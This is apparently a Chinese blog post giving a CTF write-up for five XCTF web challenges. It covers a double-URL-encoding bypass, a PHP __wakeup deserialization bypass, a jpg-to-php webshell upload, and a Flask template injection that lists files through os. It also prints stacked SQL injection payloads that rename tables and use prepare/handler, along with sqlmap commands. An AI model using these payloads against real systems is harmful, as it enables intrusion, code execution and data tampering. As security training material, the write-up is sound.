CTF-攻防世界Web题目2


一、PHP2

题目

解题方法
这道题就不知道怎么找到这个index.phps的,我看的题解,直接就说这个源代码泄漏了;
1、访问index.phps查看源代码

2、从代码中可以看出,id参数需要经过两次url编码

3、因为%的url编码为%25,所以可以用某个字母的二次url编码,这里用d字母,接着输入http://111.198.29.45:47786/?id=a%2564min

4、最后得到flag

二、unserialize3

题目:

漏洞:

__wakeup():将在序列化之后立即被调用。
漏洞原理:当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。

解题方法:
1、先可以看到类xctf中有flag变量,并调用了__wakeup(),则考虑实例化xctf类并将其变量序列化。并猜测意图为将序列化结果输入在?code=后进行POST请求。反序列化的时候利用漏洞跳过exit
2、执行序列化代码:

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
    exit('bad requests');
}
}

$a = new xctf();
echo(serialize($a));
?>


3、正常请求返回bad request

4、修改参数个数

5、得到flag

三、upload1

题目

解题方法
1、这是一个简单的上传文件漏洞,这里只需要图片格式的,我将带有一句话木马的jpg文件上传之后,用中国菜刀连接,连接不上;
2、问题出在了我传上去的后缀是jpg,不会在服务器运行,用burpsuite截获报文,修改文件名字,改为1.php;

3、用中国菜刀连接;

4、查找flag文件

找到flag值

四、Web_python_template_injection

题目:

解题基础
从零学习flask模板注入
解题方法:
1、首先简单在后面加上14,证明存在这个漏洞

2、之后输入查看当前目录有哪些文件

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}


3、查看fl4g文件内容

4、最终获得flag

五、supersqli

题目:

解题方法:
1、一看就知道需要用sqlmap进行一下测试是否存在sql注入,手动测试也可以;

结果找到一个数据库,查不出表的内容,怪不得说sqlmap是没有灵魂的,还是人工加工具稳妥一点;

sqlmap -u http://111.198.29.45:50137/?inject=1 -dbs
sqlmap -u http://111.198.29.45:50137/?inject=1 -D "supersqli" --tables


2、当在url框中写union select内容时,出现内容:

说明将数据库查询语句在inject里面被过滤了,不过可以采用其他方法绕过;
3、输入show tables;

http://111.198.29.45:50137/?inject=1' ;show tables; #


找到对应的表
4、输入:

http://111.198.29.45:50137/?inject=1%27%20;show%20columns%20from%20`words`;#

http://111.198.29.45:50137/?inject=1%27%20;show%20columns%20from%20`1919810931114514`;#


5、之后有三种方法可以获取目标值:
1>需要绕过select的限制,可以使用预编译的方式

';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#


发现被过滤,由于strstr不区分大小写,所以将其大写即可

';SET @sql = CONCAT('se','lect * from `1919810931114514`;');PREPARE stmt from @sql;EXECUTE stmt;#

2>我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了

'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开就是:

';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

然后使用1' or 1=1#即可查询出flag

3>使用handler查询:

';handler `1919810931114514` open;handler `1919810931114514` read first;#

文章作者: P1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 P1n9 !
评论
 上一篇
CTF-攻防世界Web题目3 CTF-攻防世界Web题目3
一、easytornado题目: 解题基础服务端模板注入攻击 (SSTI) 之浅析python SSTI tornado render模板注入SSTI模板注入 解题方法:1、从上图可以看出,那个hash值,只要按hint.txt要求方法构造
2020-04-14
下一篇 
CTF-攻防世界Web题目1 CTF-攻防世界Web题目1
一、web-php_rce(ThinkPHP远程代码执行)题目:考察ThinkPHP版本5的相关漏洞 注意:111.198.29.45是我的场景IP解题方法:1、ThinkPHP5.0有远程代码执行漏洞,复现输入: http://111.1
2020-04-14
  目录